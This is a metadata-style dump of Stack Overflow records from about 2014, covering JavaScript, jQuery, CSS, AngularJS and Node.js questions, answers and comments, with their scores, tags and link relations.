tagged with: css
has title: Calculate Width of a DIV based on sibling count (not-fixed) using CSS or LESS
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40458593
tagged with: d3.js
possible better answer: http://stackoverflow.com/a/25858038
has answer: http://stackoverflow.com/a/25858038
tagged with: less
type: Question
accepted answer: http://stackoverflow.com/a/25856659
tagged with: javascript
score: 4
upvote count: 4
answer count: 2
has comment: http://stackoverflow.com/comment/40458376
downvote count: 0
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25856659
has body: I have a parent DIV with widht 100%; Now, on the fly, it is populated with n number of children DIVs. Now, I want to be able to caclulate and assign their width in CSS or LESS using calc method only (flex display doesnt work in my actual code which does not actually just deals with DIV s but actually svg elements using d3) so that their width is in this pattern width of n-th child DIV = (100% / n) - 10 How can i achieve that? Also, the DIV s need to be of alternative colors which i have managed to figure out how? Any ideas how can I assign width on the fly using css or less? http://jsfiddle.net/7r029v9n/2/ - here is the Jsfiddle here is my code so far .parent { width: 100%; height: 50%; background: pink; border: 1px solid red; min-width: 400px; min-height: 200px; } .child { min-height: 200px; min-width: 10px; border: 1px solid black; display: inline-block; } .child:nth-child(even) { background: blue; width: calc(100%/n -10); } .child:nth-child(odd) { background: green; width: calc(100%/n -10); }

http://stackoverflow.com/q/25792339
has comment: http://stackoverflow.com/comment/40340906
has answer: http://stackoverflow.com/a/25793061
has title: How do that li tags changed their colors when I click my mouse on body field?
type: Question
has answer: http://stackoverflow.com/a/25793026
tagged with: javascript
score: 0
has body: I want to click on the different fields on my website (in field body) and tags should changed their colors. (random colors). How to do it? this is line one this is line two this is line three
answer count: 2
linked to: http://stackoverflow.com/q/1484506
has comment: http://stackoverflow.com/comment/40340843
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40340840

http://stackoverflow.com/comment/40420754
has text: also log result.d and check
comment on: http://stackoverflow.com/q/25835838
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40240208
type: Comment
type: QuestionComment
has text: you want the button seperately or in video tag itself, like youtube.
comment on: http://stackoverflow.com/q/25736735
score: 0

http://stackoverflow.com/a/25781114
answers question: http://stackoverflow.com/q/25781101
type: Answer
score: 2
downvote count: 0
has body: There is something wrong with your script. You are NOT setting the mask height with this: $("#mask").height() = offsetDots; Check jQuery .height() Instead use it this way: $("#mask").height(offsetDots); or you can set via css: $("#mask").css({"height":offsetDots}); Here's your updated jsFIDDLE demo
upvote count: 2
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25781101

http://stackoverflow.com/a/25847755
accepted answer of: http://stackoverflow.com/q/25847673
answers question: http://stackoverflow.com/q/25847673
has comment: http://stackoverflow.com/comment/40442341
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: You can revert to the default behavior by setting display: '' $('.divDash').children('span').css('display', ''); Demo: Fiddle
score: 2
upvote count: 2

http://stackoverflow.com/comment/40312109
has text: You see now that just creating the HTMLImageElements does not mean the image is downloaded and ready to use (which happens asynchronously). Also, I checked all your links and they all make use of onload.
comment on: http://stackoverflow.com/q/25775572
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/25776147
type: Answer
score: 2
downvote count: 0
has body: Both work. But the declaration of your object is not correct. It is var object = { /*something*/}; var funcs = { func1: function() { return true; }, func2: function() { return false; } }; for(func in funcs) { console.log(funcs[func]()); console.log(funcs[func].call()); } Output true true false false
has comment: http://stackoverflow.com/comment/40312686
answers question: http://stackoverflow.com/q/25776035
accepted answer of: http://stackoverflow.com/q/25776035
upvote count: 2
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40312392
has comment: http://stackoverflow.com/comment/40312560

http://stackoverflow.com/comment/40371511
type: Comment
has text: There is one interesting issue, in your solution when you press on some row and then press on another, the first row doesn't close. Do you know how to fix that?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25809048

http://stackoverflow.com/q/25817331
has title: Using jQuery for bidirectional cascading checkboxes
tagged with: checkbox
has answer: http://stackoverflow.com/a/25818591
has body: Consider the following HTML snippet: This is basically a nested group of checkboxes, using unordered list markup to create a general grouping. The code is being generated dynamically so I have complete control over the markup as needed. A jsfiddle representing the problem below is at: http://jsfiddle.net/bwh4rj3h/ I am attempting to create jQuery that performs the following actions: Clicking Select All toggles the state of all the checkboxes in the snippet. Clicking on a checkbox deeper in the matrix will toggle all "sub-checkboxes". e.g. clicking on the Group1 checkbox will toggle the state of all the checkboxes in the construct underneath the group. If any checkboxes are unchecked in given group, then the group checkbox must also be deselected (While technically a tri-state checkbox representing a "partial" fill would be nice, that's beyond the scope of my question). e.g. Say item 1-1, 1-2, and 1-3 are all checked. Then group 1 should be checked, and in this example the "Select All" should also be checked. However if I deselect item 1-2, now group 1 is not "complete" and so should be unchecked, as should the "Select All". OK, so I have some jQuery code that works for the markup below. It works fine. But it's ugly. And I hate ugly and feel like there's a flaw in my logic, selectors, and/or HTML markup that's causing things to be this ugly and that there IS A BETTER WAY. Would love to get some feedback as to what that better way is. In my personal case, I don't have to worry about more than 2 levels deep, but a generic N-levels deep functionality shouldn't be too hard. In fact, if it weren't for the 3rd condition where I'm checking the state of "children" to see if everything is checked/unchecked, it would've been relatively straightforward. The fact that I'm doing a 3 time loop (because of order of evaluation) makes me sad. Your assistance is appreciated in advance. :) You'll notice that I am using a :disabled check. In my final project, I am setting some checkboxe…
score: 0
linked to: http://stackoverflow.com/q/5899337
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47815690
accepted answer: http://stackoverflow.com/a/25818591
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/47815690
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/40465608
type: AnswerComment
score: 0
has text: I guess I'll figure a way to make web service to take screenshots and program the schedule with cron on my server. Maybe that'll work if not I'll just drop the idea and try to make something else.
type: Comment
comment on: http://stackoverflow.com/a/25860327

http://stackoverflow.com/comment/40336712
type: Comment
type: QuestionComment
has text: can't you just use ng-show instead on an actual option? Maybe explain what fld.opts1 contains?
score: 0
comment on: http://stackoverflow.com/q/25790219

http://stackoverflow.com/comment/109790773
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/25758202
type: Comment
has text: @IgorAlex - There are lots of reasons to use template files if you're using a template engine that will process them. Browsers by themselves don't know what to do with a template file. Browsers know HTML. So, if you're using a template file (like .hbs), then you have to use a template engine to expand them into HTML before handing the content to the browser.

http://stackoverflow.com/comment/40209510
type: Comment
comment on: http://stackoverflow.com/q/25716693
score: 1
has text: you should place `mobileinit` after jQuery.js and before jQuer-Mobile.js.
type: QuestionComment

http://stackoverflow.com/comment/44299898
type: Comment
type: QuestionComment
has text: Did you manage to figure out how to do this?
comment on: http://stackoverflow.com/q/25827634
score: 0

http://stackoverflow.com/q/25744645
tagged with: fancybox
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40314058
answer count: 0
has comment: http://stackoverflow.com/comment/40276724
has comment: http://stackoverflow.com/comment/40253763
has body: first I have send the http ajax request to the server and return the response. Then I need to popup response using fancy box. I have tried several ways in many times. Unfortunately I couldn't find a clear method, here is my code, &lt;script type="text/javascript"&gt; $(document).ready(function () { $('#BtnInvoiceNo').click(function () { $.ajax({ url: "@Url.Action("Return_Invoice", "QuickReports")", type: "POST", dataType: "", success: function (data) { alert(data); $.fancybox({ 'content': data }); $('#popup_box').html(data); $("#popup_box").fancybox(); }, error: function (e) { alert("Error"); } }); }); }); &lt;/script&gt;
has comment: http://stackoverflow.com/comment/40253812
type: Question
tagged with: javascript
tagged with: jquery
tagged with: ajax
score: 0
has comment: http://stackoverflow.com/comment/40261629
has title: ajax response popup using fancybox

http://stackoverflow.com/comment/40474768
type: Comment
type: QuestionComment
has text: how can I set display block with this code?
score: 0
comment on: http://stackoverflow.com/q/25865508

http://stackoverflow.com/a/25735319
has comment: http://stackoverflow.com/comment/40250161
upvote count: 2
type: AcceptedAnswer
has body: Reverse the order of your check for sheets[i].rules and sheets[i].cssRules - IE matches both, but the CSSFontFaceRule are only found in the latter (tested in IE9+). http://jsfiddle.net/clintioo/zbpe518k/1/ function getFonts (obj, doc) { // Maakt een lijst met de css van alle @font-face items. var o = obj || {}, sheets = doc.styleSheets, rule = null, i = sheets.length, j; while( 0 &lt;= --i ){ rules = sheets[i].cssRules || sheets[i].rules || []; j = rules.length; while( 0 &lt;= --j ){ // Alternatives for the if below: // - if ( rule[j].style.cssText &amp;&amp; rule[j].style.cssText.match('src:') ) // - (worked only in Chrome): if ( rule[j].constructor.name === 'CSSFontFaceRule' ) // IE just gives NO [object CSSFontFaceRule] !!! if( rules[j].toString() == "[object CSSFontFaceRule]" ) { // rule.style.fontFamily works in Chrome chrome; Not in FF. For IE I don't know yet. fontFamily = rules[j].style.fontFamily || rules[j].style.cssText.match(/font-family\s*:\s*([^;\}]*)\s*[;}]/i)[1] // To prevent duplicates we use the cssText as key o[ fontFamily ] = o[ fontFamily ] || {} ; o[ fontFamily ][rules[j].style.cssText] = rules[j].style.cssText ; } } } return o; } console.log(getFonts(null, document));
answers question: http://stackoverflow.com/q/25734621
type: Answer
accepted answer of: http://stackoverflow.com/q/25734621
score: 2
downvote count: 0

http://stackoverflow.com/a/25812920
answers question: http://stackoverflow.com/q/25812891
has comment: http://stackoverflow.com/comment/40378666
has comment: http://stackoverflow.com/comment/40378644
type: Answer
has comment: http://stackoverflow.com/comment/40398338
has body: This works: $(window).scroll(function() { if($(window).scrollTop() + $(window).height() == $(document).height()) { alert("bottom!"); } }); or this: $(window).scroll(function() { if($(window).scrollTop() + $(window).height() &gt; $(document).height()) { alert("bottom!"); } }); See How to detect user reached bottom of page while scrolling Also you may be interested in Infinite Scroll Paging using Jquery and Ajax
has comment: http://stackoverflow.com/comment/40378529
score: 0

http://stackoverflow.com/comment/40207965
type: AnswerComment
comment on: http://stackoverflow.com/a/25719921
type: Comment
has text: thats the problem.. json data is my current data, ideally i want to set range from min to max...
score: 0

http://stackoverflow.com/a/25825747
has body: M3U isn't a stream, it's a playlist. If you open up an M3U file in your text editor, you will see that it's just a list of URLs. #EXTM3U http://example.com/stream http://example.com/stream2 For your purposes, throw out any line that starts with a pound sign #, and then use the URLs in the file as your source for your HTML5 audio. Also note that there is another standard that uses M3U8 (same thing, just UTF-8 encoded) HTTP Live Streaming (HLS) but there isn't wide browser support at this time. For now, if you stumble across an M3U file it's safe to say you're looking at an HTTP progressive stream, typically served from SHOUTcast or Icecast. That will likely change in the future though.
score: 0
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/40402189
has comment: http://stackoverflow.com/comment/40402168
has comment: http://stackoverflow.com/comment/40406292
answers question: http://stackoverflow.com/q/25825688
has comment: http://stackoverflow.com/comment/40402345
has comment: http://stackoverflow.com/comment/40404471
has comment: http://stackoverflow.com/comment/40404371
accepted answer of: http://stackoverflow.com/q/25825688
has comment: http://stackoverflow.com/comment/40402325
has comment: http://stackoverflow.com/comment/40404211
has comment: http://stackoverflow.com/comment/40403041
has comment: http://stackoverflow.com/comment/40404551

http://stackoverflow.com/q/25845793
upvote count: 1
has body: I am planning to code my node.js web page. Im using node.js with express and jade templates. I want to make it fully asynchronized using POST AJAX requests to server. I meant that there will be only one route like: router.get('/', function(req, res) { res.render('index', { "some": 'parameters'}); } I am calling requests via client ajax like: $("#logout").click(function(event){ event.preventDefault(); var payload = { command: 'logout' }; $.ajax({ url: "/main_page_ajax", type: "POST", datatype: "json", contentType: "application/json; charset=utf-8", processData: false, data: JSON.stringify(payload), success: function (result) { var json = jQuery.parseJSON(result); if(json.done==1){ $('#login_screen_clear').fadeIn("slow"); $('#login_screen_logged').hide(); show_message('Logout successful!'); } else show_message('Something went wrong...!'); } }); }); Part of jade template(index.jade): #login_screen_logged .log_div h3 Hello b#logged_name | ! br br a#logout(href='/logout') Logout #login_screen_clear //login form input#player_login(type='text', size='15', autocomplete='off') input#player_pass(type='password', size='15', autocomplete='off') input#login_button(type='submit', value='Login') Back to the server side. Handling ajax requests: router.post('/main_page_ajax', function(req, res) { switch(String(req.body.command)){ case 'logout': var resultJson = { }; req.session.destroy(function(err) { resultJson.done=1; res.end(JSON.stringify(resultJson)); }); break; } }); Ok so here are my questions: Is this a good way for the node.js application? This way will make me to store almost all containers in index.jade template (hidden divs) which will wait for specific calls. So this file will grow a lot with more app development. Is there a better place to keep html/jade code? Maybe Ajax requests itselt? Example success: function (result) { var json = jQuery.parseJSON(result); if(json.done==1){ $('#login_screen_clear').html("&lt;a&gt;&lt;bunch&gt;&lt;of&gt;&lt;html&gt;&lt;code&gt;") $(…
has title: Full ajax requests or more routes
tagged with: node.js
score: 1
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25846266
tagged with: ajax
tagged with: pug
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40439345
downvote count: 0
answer count: 1
favorite count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/40303727
type: AnswerComment
type: Comment
has text: As a matter of fact, it's actually working, I wan't handling the case args.query == null in JS. Seems like the call is made as soon as text box is clicked.
comment on: http://stackoverflow.com/a/25759394
score: 0

http://stackoverflow.com/q/25765096
downvote count: 1
has title: Javascript error : message, stack undefinded, code 7
favorite count: 0
type: UnansweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/40291228
score: 1
has body: I expect, any caught exception in Javascript delivers a message and a stack. try { doSomething(); } catch(e) { alert(e.message);alert(e.stack);alert(JSON.stringify(e)); } However, what I get is two alerts with the string undefined and one { code: 7 } What could be responsible for that? function doSomething() { reader.readAsDataURL(file); reader.onload = function(event) { var result = event.target.result; var jqxhr = $.post(url, { data: result}, function(data) { alert(data); }); } }
upvote count: 2
has answer: http://stackoverflow.com/a/25767845
answer count: 1
tagged with: javascript
has comment: http://stackoverflow.com/comment/40291437
tagged with: exception

http://stackoverflow.com/comment/40256969
type: QuestionComment
comment on: http://stackoverflow.com/q/25745056
has text: Why are you filling in data as text in a div tag in a hidden iframe? Does this iframe do anything else? Why not just use AJAX and format your server's response as a JSON object and load the data that way?
score: 0
type: Comment

http://stackoverflow.com/q/25713853
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25714091
has title: Check the form element triggered at onclick event
favorite count: 0
upvote count: 2
linked to: http://stackoverflow.com/q/12632426
accepted answer: http://stackoverflow.com/a/25714135
score: 2
type: AnsweredQuestion
has body: I have a js function inside a web page that trap the position of the click on it. I had to implement it in a way that is recognized if the page contain a form element, and, if so, do a check as to whether that the click that I'm recording is made on one at random form element or not. I got up to check the form and to learn its elements, but I do not know how to check if the click is made ​​on a single element: $('*').on('mousedown', function (e) { // make sure the event isn't bubbling if (e.target != this) { return; } // do something with the click somewhere // for example, get the coordinates: x = e.pageX; y = e.pageY; pa = $(location).attr('href'); //Window dimension var width = $(window).width(); //var width = $getWidth(); var height = $(window).height(); //Check if page contain a form var elementF = document.querySelectorAll('form'); var fname = ''; var elements = ''; for (var i=0; i&lt;elementF.length; i++){ fname = elementF[i].id; elements = document.forms[fname].elements; for (x=0; x&lt;elements.length; x++){ //Now i need to check if element is clicked or not } }
possible better answer: http://stackoverflow.com/a/25714091
tagged with: forms
tagged with: dom
has answer: http://stackoverflow.com/a/25714135
has comment: http://stackoverflow.com/comment/40196285
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/40196382
downvote count: 0

http://stackoverflow.com/q/25824683
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25824815
has answer: http://stackoverflow.com/a/25825618
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
tagged with: css
answer count: 4
has answer: http://stackoverflow.com/a/25825014
has body: I'm currently building a one page website with a fixed navigation menu (with a blue background). This one page website has 4 sections, 2 with a blue background and 2 with a white background. My idea to do with this menu is when i scroll (not mouse hover) over a blue section, the menu background turns white. and when i scroll over a white section, the background changes back to blue. An example can be found here. (Not my site, but look at the changing color of the menu while scrolling) My HTML code looks like this: Home Over mij Kennis Projecten Contact Section 1 Section 2 Section 3 Section 4 Is there a simple way to do this? Thanks in advance.
type: AnsweredQuestion
has title: One page website change menu color each section
accepted answer: http://stackoverflow.com/a/25825618
upvote count: 1
type: Question
score: 1
possible better answer: http://stackoverflow.com/a/25824790
has comment: http://stackoverflow.com/comment/40400182
has answer: http://stackoverflow.com/a/25824790
downvote count: 0

http://stackoverflow.com/q/25739101
has answer: http://stackoverflow.com/a/25739170
has title: jQuery click event handler
type: Question
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40244075
has answer: http://stackoverflow.com/a/25739158
has answer: http://stackoverflow.com/a/25739156
answer count: 4
has answer: http://stackoverflow.com/a/25739161
favorite count: 0
upvote count: 2
type: UnansweredQuestion
downvote count: 1
has comment: http://stackoverflow.com/comment/40244853
has body: I have the below JS code; var $divContent = $("&lt;div /&gt;"); $divContent.on('click.mypop', function(e){ alert(e.type); } So there is a div on page with some text content. My question is there is no element with class "mypop" and still my code goes inside the click handler when I do click action on the div? How is this possible ?
score: 1

http://stackoverflow.com/q/25762658
has title: replace array elements contains brackets with a charecter
has answer: http://stackoverflow.com/a/25762958
favorite count: 0
has answer: http://stackoverflow.com/a/25763044
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25762828
answer count: 4
has body: i have an array like this in array some elements contains (3.5-inch) ,(4-inch),(4-inch 64-bit), (4-inch 64-bit),(64-bit) like that [ "iPhone - Simulator - iOS 6.1", "iPhone - Simulator - iOS 7.1", "iPhone Retina (3.5-inch) - Simulator - iOS 6.1", "iPhone Retina (3.5-inch) - Simulator - iOS 7.1", "iPhone Retina (4-inch) - Simulator - iOS 6.1", "iPhone Retina (4-inch) - Simulator - iOS 7.1", "iPhone Retina (4-inch 64-bit) - Simulator - iOS 6.1", "iPhone Retina (4-inch 64-bit) - Simulator - iOS 7.1", "iPad - Simulator - iOS 6.1","iPad - Simulator - iOS 7.1", "iPad Retina - Simulator - iOS 6.1","iPad Retina - Simulator - iOS 7.1", "iPad Retina (64-bit) - Simulator - iOS 6.1", "iPad Retina (64-bit) - Simulator - iOS 7.1", "" ] i need to replace - inside the bracket as # like (3.5#inch) ,(4#inch),(4#inch 64#bit), (4#inch 64#bit),(64#bit) how can i possible.
has comment: http://stackoverflow.com/comment/40287036
upvote count: 1
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25762861
tagged with: javascript
has comment: http://stackoverflow.com/comment/40286832
score: 0

http://stackoverflow.com/q/25816596
downvote count: 0
has comment: http://stackoverflow.com/comment/40396403
tagged with: javascript
has comment: http://stackoverflow.com/comment/40396383
favorite count: 0
has comment: http://stackoverflow.com/comment/40391901
has body: I have a directive which uses the id parameter to get an array in the controller's scope, which works fine if the id is static value, however if I use curly braces (for example I repeat the directive using ng-repeat and so each id needs to be unique, though if I use another attribute than id it still doesn't work), then it doesn't work, the curly braces are not evaluated, and looking at the source in the web inspector, it is literally id={{index}} rather than id=1. EDIT: What I'm trying to do is when there is a stack element in the html, it creates a variable in the current scope (not the directive's scope) with the same name as the id. app.directive('stack', function() { return { restrict: 'E', templateUrl: 'stack.html', scope: { cards: '=id', name: '@id', countOnly: '@' }, link: function(scope) { scope.cards = []; //because of cards: '=id', scope.cards is bound to the parentscope.<value of id attr>, so setting scope.cards to [], also creates the variable in the parent scope. } }; }); The stack.html template simply contains (at the moment it will be expanded later): The stack called {{name}} contains {{cards.length}} cards So if I have this in my index.html: There are {{deck.length}} cards in deck The result is: The stack called deck contains 0 cards There are 0 cards in deck (and if I were to add a card to the deck array, then both zeros would change to one) The above works, as it doesn't use ng-repeat, the attributes are hardcoded. Below the attributes need to be dynamic, and this doesn't work as the curly braces are not evaluated. However if I want to have multiple decks by using ng-repeat it doesn't work: then the id remains literally "slot{{index}}", not "slot0", etc. I could do: and it would work as I expect. It's almost like I need the cards: '=id', to be cards: '=$parse(id)', (or maybe only parse if it contains braces)
has answer: http://stackoverflow.com/a/25816956
has title: Curly braces in directive attribute, angularJS
has comment: http://stackoverflow.com/comment/40389709
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40390212
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25817138
type: Question
has comment: http://stackoverflow.com/comment/40390340
upvote count: 5
answer count: 2
score: 5

http://stackoverflow.com/a/32180054
answers question: http://stackoverflow.com/q/25828426
downvote count: 0
type: Answer
score: 1
upvote count: 1
has body: I think you put the script tag above of the canvas tag please put it after the canvas tag.

http://stackoverflow.com/comment/40451105
score: 0
type: Comment
has text: It's working! Thank you very very much apneadiving - you are awesome.
type: AnswerComment
comment on: http://stackoverflow.com/a/25849080

http://stackoverflow.com/a/25774429
answers question: http://stackoverflow.com/q/25774383
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25774383
has body: Use correct operator || is OR operator, use AND operator && if ((myNum > 3) && (myNum < 9)) { document.getElementById("div").innerHTML = " Hello World "; } Cheers !!
score: 1
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/40485782
comment on: http://stackoverflow.com/a/25871484
type: AnswerComment
has text: Okay, I've included it and the error goes away, but there's still nothing showing up.
score: 0
type: Comment

http://stackoverflow.com/comment/40260737
comment on: http://stackoverflow.com/q/25747934
score: 0
has text: Also, what the heck is `scope`?
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40263499
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25749251
has text: I'm not sure is this error due to Firefox not supporting as I can't even see this page http://www.polymer-project.org/components/core-elements/demo.html in Firefox version 31, but at least it shows error in console.

http://stackoverflow.com/comment/40362306
type: Comment
comment on: http://stackoverflow.com/a/25803841
score: 1
type: AnswerComment
has text: Almost perfect! :-) But in case that cms applies also other inline styles, like width and height, how to remove only "float:left" declaration?

http://stackoverflow.com/comment/40417207
has text: This is obviously not going to work, `document.writeln` can only be called during incremental page load - there is no document to write to after 5 seconds.
type: AnswerComment
type: Comment
score: 2
comment on: http://stackoverflow.com/a/25834122

http://stackoverflow.com/comment/40372479
comment on: http://stackoverflow.com/q/25809803
score: 0
type: Comment
has text: Yes the <Contacts><c><f></f><l></l><e></e></c>.... is from the toolbar. CDATA and its content get removed
type: QuestionComment

http://stackoverflow.com/comment/40406500
type: QuestionComment
comment on: http://stackoverflow.com/q/25827614
has text: and what was the question?
score: 0
type: Comment

http://stackoverflow.com/a/25737593
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25737317
type: Answer
score: 2
has body: dataType: 'json' yet do JSON.parse() Error throwing because JSON try to parse this string [object Object]
answers question: http://stackoverflow.com/q/25737317
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/40317993
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25757039
type: Comment
has text: You are right. I updated to 0.9.1 right before 0.9.1.1 came out and when I updated to 0.9.1.1 I did it in my $Path but not for already created projects. Thanks!

http://stackoverflow.com/q/25775704
favorite count: 0
tagged with: arraybuffer
has answer: http://stackoverflow.com/a/27816709
score: 2
tagged with: audio
type: AnsweredQuestion
has title: HTML5 Audio API inputBuffer.getChannelData to audio Array buffer
upvote count: 3
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25776663
accepted answer: http://stackoverflow.com/a/25776663
has body: I am making an application where I am taking mic data from the inputBuffer and I want to stream to another client and play it. However, I cannot get it wokring. My recording/capturing works fine so I will skip to relevant parts of the code function recorderProcess(e) { var left = e.inputBuffer.getChannelData(0); var convert = convertFloat32ToInt16(left); window.stream.write(convert); var src = window.URL.createObjectURL(lcm); playsound(convert); ss(socket).emit('file',convert, {size: src.size},currentgame); ss.createBlobReadStream(convert).pipe(window.stream); //ss.createReadStream(f).pipe(widnow.stream); } function playsound(raw) { console.log("now playing a sound, that starts with", new Uint8Array(raw.slice(0, 10))); context.decodeAudioData(raw, function (buffer) { if (!buffer) { console.error("failed to decode:", "buffer null"); return; } var source = context.createBufferSource(); source.buffer = buffer; source.connect(context.destination); source.start(0); console.log("started..."); }, function (error) { console.error("failed to decode:", error); }); } I am able to successfully create an array buffer using the float32toint16 function, however when I use the init sound function I get an error "null" meaning that the arraybuffer will not decode into an audio stream? Has anyone else had this issue? I have scoured the internet with no answer on how to do this. I am trying to play it this way because ultimately I will be streaming from client to client so I will be sending arraybufers via sockets. thanks in advance.
possible better answer: http://stackoverflow.com/a/27816709
tagged with: javascript
answer count: 2
tagged with: http://stackoverflow.com/tag/html
tagged with: web-audio-api

http://stackoverflow.com/q/25746811
has body: In my template, I have 5 headings, I am using "th" for that. and I would like to print two different datas underneath. for that i tried this but giving wrong out put... any one help me to sort this pleae? <% _.each(obj.totalForMonths.totalformonths.monthData, function(item) { %> //data 1 //printing 3 tds <%= item.month %> <%= item.amount %> <%= item.count %> <% }) %> <% _.each(obj.totalForMonths.previousScheme.monthData, function(item) { //data 2 %> //printing 2 tds! <%= item.amount %> <%= item.count %> <% }) %> //closing the tr after appended all 5 but it works as, first it loops all 3 and 2 loops separately. It gives ugly out put. How can i print all five within tr on each iterators? Any one help me please?
accepted answer: http://stackoverflow.com/a/25747642
tagged with: underscore.js-templating
has title: Underscore template iteration with `tr` element on different datas giving wrong result
type: AnsweredQuestion
tagged with: underscore.js
type: Question
answer count: 1
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25747642
score: 0

http://stackoverflow.com/q/25752711
type: UnansweredQuestion
score: 0
tagged with: jsfeat
tagged with: haar-classifier
tagged with: http://stackoverflow.com/tag/json
type: Question
answer count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/31811347
has title: jsfeat function is not accessing
has body: I am working on JSFEAT but when I start using this library the function is not accessing. resource at: Expecting to execute 1 and 2 prompts but only 1 is getting whereas 2 is not.... please help me in accessing it. Is it rightway???

http://stackoverflow.com/a/25774869
score: 0
type: Answer
has body: Ternaries are fine if you use line breaks: $( 'body' ).css( 'background', (n &lt; 2) ? 'green' : (n &gt; 2) ? 'blue' : 'orange' ); Everyone has their syntactical preferences, but I think that's perfectly readable.
answers question: http://stackoverflow.com/q/25774687

http://stackoverflow.com/comment/40475901
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25864292
has text: ng-src is better, but it won't resolve his problem : Chrome doesn't allow cross domain request, that's all about it :)
score: 0

http://stackoverflow.com/comment/40274265
comment on: http://stackoverflow.com/a/25755349
has text: so I have my answer it works i am very happy feel free to remove this topic from Internet if this will help u
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/40300279
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25768730
has text: I have the URL to navigate to, I have an issue with directing the main page to this URL from my IFrame

http://stackoverflow.com/comment/40261194
has text: @AlexMA you are right. I tried to simplify the question and missed the whole point :) I will add the actual function which does the asynchronous call.
score: 0
comment on: http://stackoverflow.com/q/25747109
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40287187
type: Comment
comment on: http://stackoverflow.com/a/25762874
has text: @iJay - Now, with the edits, it is a complete answer.
score: 0
type: AnswerComment

http://stackoverflow.com/q/25747162
linked to: http://stackoverflow.com/q/1471118
has comment: http://stackoverflow.com/comment/40258726
tagged with: css
score: 2
type: AnsweredQuestion
has body: OK, this is probably quite easy, but I cannot find it on Google or stackoverflow. Instead of var color = $(div).css('color') I want to store the css in a variable. var theCss = $(div).css var color = theCss('color') // no, doesn't work Is it at all possible? Of course the reason why I want this is much more complicated, so I would be very much helped if there is somehow a way to store
accepted answer: http://stackoverflow.com/a/25747340
has comment: http://stackoverflow.com/comment/40258842
has title: How to use jquery .css in a javascript variable
upvote count: 2
has comment: http://stackoverflow.com/comment/40263653
type: Question
has comment: http://stackoverflow.com/comment/40258664
tagged with: javascript
has answer: http://stackoverflow.com/a/25747220
answer count: 2
has answer: http://stackoverflow.com/a/25747340
linked to: http://stackoverflow.com/q/754607
downvote count: 0
tagged with: jquery
has comment: http://stackoverflow.com/comment/40259185
possible better answer: http://stackoverflow.com/a/25747220
favorite count: 0

http://stackoverflow.com/comment/40476834
has text: Yes Ahmer,it does. But see using ng-repeat is also the right way to do. It's IE8 Engine which have some bug in it ,that why it doesn't render {{variable}} properly.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25822463

http://stackoverflow.com/q/25718908
has comment: http://stackoverflow.com/comment/40206257
has answer: http://stackoverflow.com/a/25719281
has title: How to retain selected choices in a javascript quiz?
has comment: http://stackoverflow.com/comment/40206297
has comment: http://stackoverflow.com/comment/40206835
type: Question
answer count: 1
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25719281
score: 0
tagged with: radio-button
tagged with: http://stackoverflow.com/tag/html
tagged with: web
has body: My javascript quiz has 5 questions. It has two buttons - next and prev. How do I make this happen -- When 'prev' button is pressed, the selected choice of previous question must be highlighted. Here is a function I've used : function createChoices() { for(var i=0;i&lt;4;i++) { if(allQuestions[index].checked == "checked") { allQuestions[index].choices[userAnswer].checked = "true" } } } Unfortunately, the next button which is working in web browser isn't working in JSFiddle.
type: AnsweredQuestion

http://stackoverflow.com/q/25771303
score: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25772090
type: Question
has body: I have a button in my page and when i do click that button i call: editor.insertElement(link); When i do that it inserts the HTML correctly in the editor, but when i do any changes (ex: click show source-code button) the HTML code that I inserted is lost. Is there any command to persist my code to the CKEDITOR?
answer count: 1
has title: Is there a way to persist changes to CKEDITOR using a button outside the editor?
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25772090
tagged with: fckeditor

http://stackoverflow.com/comment/40542298
type: AnswerComment
has text: that didn't fix the issue
type: Comment
comment on: http://stackoverflow.com/a/25841305
score: 0

http://stackoverflow.com/a/25728522
has comment: http://stackoverflow.com/comment/40225455
